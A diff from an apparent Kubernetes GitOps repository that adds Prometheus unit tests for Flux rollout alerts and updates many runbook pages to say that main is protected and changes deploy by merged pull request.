- series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:aaaaaaa",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
|
||||||
|
values: '1x40'
|
||||||
|
- series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '1x40'
|
||||||
|
- series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '1x40'
|
||||||
|
- series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '0x40'
|
||||||
|
- series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '0x40'
|
||||||
|
alert_rule_test:
|
||||||
|
- eval_time: 35m
|
||||||
|
alertname: FluxRolloutInProgress
|
||||||
|
exp_alerts: []
|
||||||
|
- eval_time: 35m
|
||||||
|
alertname: FluxRolloutStuck
|
||||||
|
exp_alerts: []
|
||||||
|
|
||||||
|
# =============================================================================================
|
||||||
|
# 2. A COMMIT LANDS — the notification this whole change exists to produce.
|
||||||
|
# GitRepository moves to revision bbbbbbb at t=11m. apps-wave-0 catches up at t=14m;
|
||||||
|
# `platform` never does.
|
||||||
|
# t=25m -> FluxRolloutInProgress fires for `platform` ONLY (apps-wave-0 has converged),
|
||||||
|
# and FluxRolloutStuck is still quiet because its 30m has not elapsed.
|
||||||
|
# t=50m -> both fire. ("started and never finished" is a real, separate condition.)
|
||||||
|
# =============================================================================================
|
||||||
|
- interval: 1m
|
||||||
|
name: new revision on main - InProgress fires for the lagging Kustomization only
|
||||||
|
input_series:
|
||||||
|
# The old artifact revision ends at t=10m, the new one starts at t=11m.
|
||||||
|
- series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:aaaaaaa",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
|
||||||
|
values: '1x10'
|
||||||
|
- series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:bbbbbbb",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
|
||||||
|
values: '_x10 1x70'
|
||||||
|
# `platform` stays on the old revision for the whole test.
|
||||||
|
- series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '1x80'
|
||||||
|
# apps-wave-0 catches up at t=14m.
|
||||||
|
- series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '1x8'
|
||||||
|
- series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",revision="main@sha1:bbbbbbb",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '_x13 1x67'
|
||||||
|
- series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '0x80'
|
||||||
|
- series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '0x80'
|
||||||
|
alert_rule_test:
|
||||||
|
# The deploy notification, ~14m after the commit was fetched. Exactly ONE alert: a rule that
|
||||||
|
# ignored the revision match would also list apps-wave-0, which has already converged.
|
||||||
|
- eval_time: 25m
|
||||||
|
alertname: FluxRolloutInProgress
|
||||||
|
exp_alerts:
|
||||||
|
- exp_labels:
|
||||||
|
notification: deploy
|
||||||
|
job: kube-state-metrics
|
||||||
|
namespace: flux-system
|
||||||
|
name: platform
|
||||||
|
revision: "main@sha1:aaaaaaa"
|
||||||
|
customresource_group: kustomize.toolkit.fluxcd.io
|
||||||
|
customresource_kind: Kustomization
|
||||||
|
customresource_version: v1
|
||||||
|
exp_annotations:
|
||||||
|
summary: "Flux is applying a new revision — platform is behind main"
|
||||||
|
description: "Kustomization flux-system/platform has applied main@sha1:aaaaaaa, which is not the revision the flux-system GitRepository has fetched from main. THIS MAIL MEANS A GIT CHANGE STARTED ROLLING OUT; the RESOLVED mail for this same alert means every Kustomization reached the new revision and the rollout is complete."
|
||||||
|
runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
|
||||||
|
# `for: 30m` on the escalation is real — not yet firing 14m in.
|
||||||
|
- eval_time: 25m
|
||||||
|
alertname: FluxRolloutStuck
|
||||||
|
exp_alerts: []
|
||||||
|
# ...and it does fire once the rollout has genuinely hung.
|
||||||
|
- eval_time: 50m
|
||||||
|
alertname: FluxRolloutStuck
|
||||||
|
exp_alerts:
|
||||||
|
- exp_labels:
|
||||||
|
severity: warning
|
||||||
|
job: kube-state-metrics
|
||||||
|
namespace: flux-system
|
||||||
|
name: platform
|
||||||
|
revision: "main@sha1:aaaaaaa"
|
||||||
|
customresource_group: kustomize.toolkit.fluxcd.io
|
||||||
|
customresource_kind: Kustomization
|
||||||
|
customresource_version: v1
|
||||||
|
exp_annotations:
|
||||||
|
summary: "Flux rollout has not completed: platform stuck on an old revision"
|
||||||
|
description: "Kustomization flux-system/platform has been behind the flux-system GitRepository revision for 30m (applied main@sha1:aaaaaaa) — a git change started rolling out and has not converged. Check the Kustomization's Ready condition and its dependencies."
|
||||||
|
runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
|
||||||
|
|
||||||
|
# =============================================================================================
|
||||||
|
# 3. THE ROLLOUT COMPLETES -> the alert clears, which is what sends the "applied" mail.
|
||||||
|
# Without this test the completion half of the feature is unproven: an expression that fired
|
||||||
|
# correctly but never emptied itself would pass test 2 and still never deliver a resolved
|
||||||
|
# notification.
|
||||||
|
# =============================================================================================
|
||||||
|
- interval: 1m
|
||||||
|
name: rollout completes - InProgress clears (this is the resolved/completion notification)
|
||||||
|
input_series:
|
||||||
|
- series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:aaaaaaa",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
|
||||||
|
values: '1x10'
|
||||||
|
- series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:bbbbbbb",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
|
||||||
|
values: '_x10 1x70'
|
||||||
|
- series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '1x20'
|
||||||
|
- series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:bbbbbbb",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '_x23 1x57'
|
||||||
|
- series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '0x80'
|
||||||
|
alert_rule_test:
|
||||||
|
# Mid-rollout: firing.
|
||||||
|
- eval_time: 20m
|
||||||
|
alertname: FluxRolloutInProgress
|
||||||
|
exp_alerts:
|
||||||
|
- exp_labels:
|
||||||
|
notification: deploy
|
||||||
|
job: kube-state-metrics
|
||||||
|
namespace: flux-system
|
||||||
|
name: platform
|
||||||
|
revision: "main@sha1:aaaaaaa"
|
||||||
|
customresource_group: kustomize.toolkit.fluxcd.io
|
||||||
|
customresource_kind: Kustomization
|
||||||
|
customresource_version: v1
|
||||||
|
exp_annotations:
|
||||||
|
summary: "Flux is applying a new revision — platform is behind main"
|
||||||
|
description: "Kustomization flux-system/platform has applied main@sha1:aaaaaaa, which is not the revision the flux-system GitRepository has fetched from main. THIS MAIL MEANS A GIT CHANGE STARTED ROLLING OUT; the RESOLVED mail for this same alert means every Kustomization reached the new revision and the rollout is complete."
|
||||||
|
runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
|
||||||
|
# Converged (5m clear of the old series' last sample at t=20m): silent, and it never had
|
||||||
|
# 30m of continuous firing, so the escalation must not have fired either.
|
||||||
|
- eval_time: 32m
|
||||||
|
alertname: FluxRolloutInProgress
|
||||||
|
exp_alerts: []
|
||||||
|
- eval_time: 32m
|
||||||
|
alertname: FluxRolloutStuck
|
||||||
|
exp_alerts: []
|
||||||
|
|
||||||
|
# =============================================================================================
|
||||||
|
# 4. GUARD 1 — kube_flux_gitrepository_info ABSENT (KSM rolled without the ConfigMap, the flux
|
||||||
|
# RBAC was lost, customResourceState reverted). `unless on (revision) <empty set>` removes
|
||||||
|
# NOTHING, so without the `and on () (count(...) > 0)` guard EVERY Kustomization alerts
|
||||||
|
# forever. This test exists to go red the moment that guard is deleted.
|
||||||
|
# Correct behaviour is SILENCE: a broken exporter is FluxReconciliationFailure's job and the
|
||||||
|
# platform-health.monitoring-self rules', not a deploy notification's.
|
||||||
|
# =============================================================================================
|
||||||
|
- interval: 1m
|
||||||
|
name: GUARD - GitRepository metric absent - silent, NOT 16 alerts forever
|
||||||
|
input_series:
|
||||||
|
- series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '1x60'
|
||||||
|
- series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '1x60'
|
||||||
|
- series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '0x60'
|
||||||
|
- series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '0x60'
|
||||||
|
promql_expr_test:
|
||||||
|
# Stated explicitly so the reason for the silence is unambiguous in the test output: the
|
||||||
|
# guard's own count is empty, not merely false.
|
||||||
|
- expr: 'count(kube_flux_gitrepository_info{name="flux-system", revision!=""})'
|
||||||
|
eval_time: 45m
|
||||||
|
exp_samples: []
|
||||||
|
alert_rule_test:
|
||||||
|
- eval_time: 45m
|
||||||
|
alertname: FluxRolloutInProgress
|
||||||
|
exp_alerts: []
|
||||||
|
- eval_time: 45m
|
||||||
|
alertname: FluxRolloutStuck
|
||||||
|
exp_alerts: []
|
||||||
|
|
||||||
|
# =============================================================================================
|
||||||
|
# 5. GUARD 2 — a SUSPENDED Kustomization pins an old revision by design. It must not hold the
|
||||||
|
# rollout notification open (or the "applied" mail never arrives), while a non-suspended
|
||||||
|
# Kustomization on the same old revision MUST still alert.
|
||||||
|
# Both halves are asserted in one test on purpose: an `unless` written with the wrong labels
|
||||||
|
# would suppress EVERYTHING and would pass a suppression-only test.
|
||||||
|
# =============================================================================================
|
||||||
|
- interval: 1m
|
||||||
|
name: GUARD - suspended Kustomization excluded, non-suspended one still alerts
|
||||||
|
input_series:
|
||||||
|
- series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:bbbbbbb",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
|
||||||
|
values: '1x40'
|
||||||
|
# Suspended and behind -> excluded.
|
||||||
|
- series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '1x40'
|
||||||
|
- series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '1x40'
|
||||||
|
# Not suspended and behind -> must alert.
|
||||||
|
- series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="conformance",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '1x40'
|
||||||
|
- series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="conformance",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '0x40'
|
||||||
|
alert_rule_test:
|
||||||
|
- eval_time: 20m
|
||||||
|
alertname: FluxRolloutInProgress
|
||||||
|
exp_alerts:
|
||||||
|
- exp_labels:
|
||||||
|
notification: deploy
|
||||||
|
job: kube-state-metrics
|
||||||
|
namespace: flux-system
|
||||||
|
name: conformance
|
||||||
|
revision: "main@sha1:aaaaaaa"
|
||||||
|
customresource_group: kustomize.toolkit.fluxcd.io
|
||||||
|
customresource_kind: Kustomization
|
||||||
|
customresource_version: v1
|
||||||
|
exp_annotations:
|
||||||
|
summary: "Flux is applying a new revision — conformance is behind main"
|
||||||
|
description: "Kustomization flux-system/conformance has applied main@sha1:aaaaaaa, which is not the revision the flux-system GitRepository has fetched from main. THIS MAIL MEANS A GIT CHANGE STARTED ROLLING OUT; the RESOLVED mail for this same alert means every Kustomization reached the new revision and the rollout is complete."
|
||||||
|
runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
|
||||||
|
|
||||||
|
# =============================================================================================
|
||||||
|
# 6. A Kustomization that has NEVER applied anything publishes no `revision` label at all (KSM
|
||||||
|
# omits absent paths). `revision!=""` must drop it rather than let it group under the empty
|
||||||
|
# string and compare equal to the GitRepository revision.
|
||||||
|
# =============================================================================================
|
||||||
|
- interval: 1m
|
||||||
|
name: never-applied Kustomization (no revision label) is not counted as converged or lagging
|
||||||
|
input_series:
|
||||||
|
- series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:bbbbbbb",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
|
||||||
|
values: '1x40'
|
||||||
|
# No `revision` label at all — this is what KSM publishes for status.lastAppliedRevision="".
|
||||||
|
- series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="brand-new",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '1x40'
|
||||||
|
- series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="brand-new",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
|
||||||
|
values: '0x40'
|
||||||
|
alert_rule_test:
|
||||||
|
# Silent: FluxReconciliationFailure (Ready=False for 15m) is what covers a Kustomization
|
||||||
|
# that cannot apply at all. This pair only ever speaks about revisions it can compare.
|
||||||
|
- eval_time: 30m
|
||||||
|
alertname: FluxRolloutInProgress
|
||||||
|
exp_alerts: []
|
||||||
|
- eval_time: 30m
|
||||||
|
alertname: FluxRolloutStuck
|
||||||
|
exp_alerts: []
|
||||||
+16
-2
@@ -6,7 +6,7 @@ Every alert rule in this platform carries an annotation of the form
|
|||||||
|
|
||||||
runbook_url: "https://${BASE_DOMAIN}/runbooks/<name>"
|
runbook_url: "https://${BASE_DOMAIN}/runbooks/<name>"
|
||||||
|
|
||||||
46 of them, over the 35 names below. Until this directory existed, that path returned **HTTP 404** on the
|
46 of them, over 35 names. Until this directory existed, that path returned **HTTP 404** on the
|
||||||
live cluster: every alert that reached a human handed them a dead link at the exact moment they needed
|
live cluster: every alert that reached a human handed them a dead link at the exact moment they needed
|
||||||
help. These pages are what makes the link resolve.
|
help. These pages are what makes the link resolve.
|
||||||
|
|
||||||
@@ -33,7 +33,8 @@ negative is how a CLI quirk becomes real data loss. Write `backups.velero.io`,
|
|||||||
`backups.postgresql.cnpg.io`, `clusters.postgresql.cnpg.io`, `settings.longhorn.io`,
|
`backups.postgresql.cnpg.io`, `clusters.postgresql.cnpg.io`, `settings.longhorn.io`,
|
||||||
`volumes.longhorn.io`, `nodes.longhorn.io`.
|
`volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
`git push origin main` **is** the deploy; there is no other apply step. Durable changes go through git.
|
Merging a PR into `main` **is** the deploy; there is no other apply step. `main` is protected, so a
|
||||||
|
direct push is rejected — durable changes go through a branch, a PR, and a green gate.
|
||||||
|
|
||||||
## Alerts you should not trust the silence of (measured 2026-09-13)
|
## Alerts you should not trust the silence of (measured 2026-09-13)
|
||||||
|
|
||||||
@@ -108,6 +109,19 @@ Each affected runbook says so on its own page and gives the by-hand equivalent.
|
|||||||
- **`keycloak-client-secrets`** — the client/URL reconciler failing or silent. The 2026-09-06 lockout that
|
- **`keycloak-client-secrets`** — the client/URL reconciler failing or silent. The 2026-09-06 lockout that
|
||||||
every green signal missed.
|
every green signal missed.
|
||||||
|
|
||||||
|
### Operator procedures (no alert links here)
|
||||||
|
- **`plex-claim`** — claiming the Plex Media Server. **Claimed 2026-09-29**; the page now only
|
||||||
|
applies after a `/config` wipe. The claim token is short-lived — read the countdown on
|
||||||
|
plex.tv/claim — so it is a timed sequence, scripted as `infra/plex/claim-ship.sh`:
|
||||||
|
token → `sops` → PR → gate → merge → **forced** `flux reconcile` → pod roll (~2m45s measured).
|
||||||
|
Includes why a changed Secret does not restart anything, and why an expired token is harmless.
|
||||||
|
- **`crafty-admin-credential`** — you signed into Keycloak and Crafty *still* asks for a password.
|
||||||
|
Expected: Crafty 4 has no OIDC, so its own local login sits behind the oauth2-proxy gate as a second
|
||||||
|
factor. The page tells the two layers apart from the sidecar log, and explains that the bootstrap
|
||||||
|
password exists **only** on the PVC (`default-creds.txt`, generated once on first boot, never in git).
|
||||||
|
Includes the argon2 reset for a lost password, why the 3-strikes lockout cannot fire behind the
|
||||||
|
sidecar, and why deleting `crafty.sqlite` to force a new password destroys every server definition.
|
||||||
|
|
||||||
### Virtualisation
|
### Virtualisation
|
||||||
- **`kubevirt-control-plane`** — VM lifecycle operations will fail; running VMs keep running.
|
- **`kubevirt-control-plane`** — VM lifecycle operations will fail; running VMs keep running.
|
||||||
- **`kubevirt-launch-failed`** — a VMI reached the Failed phase. The three k3s-specific launch traps.
|
- **`kubevirt-launch-failed`** — a VMI reached the Failed phase. The three k3s-specific launch traps.
|
||||||
|
|||||||
@@ -62,8 +62,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -61,8 +61,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -78,8 +78,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -55,8 +55,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -62,8 +62,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -63,8 +63,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -87,8 +87,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -69,8 +69,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -71,8 +71,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -68,8 +68,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -61,8 +61,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
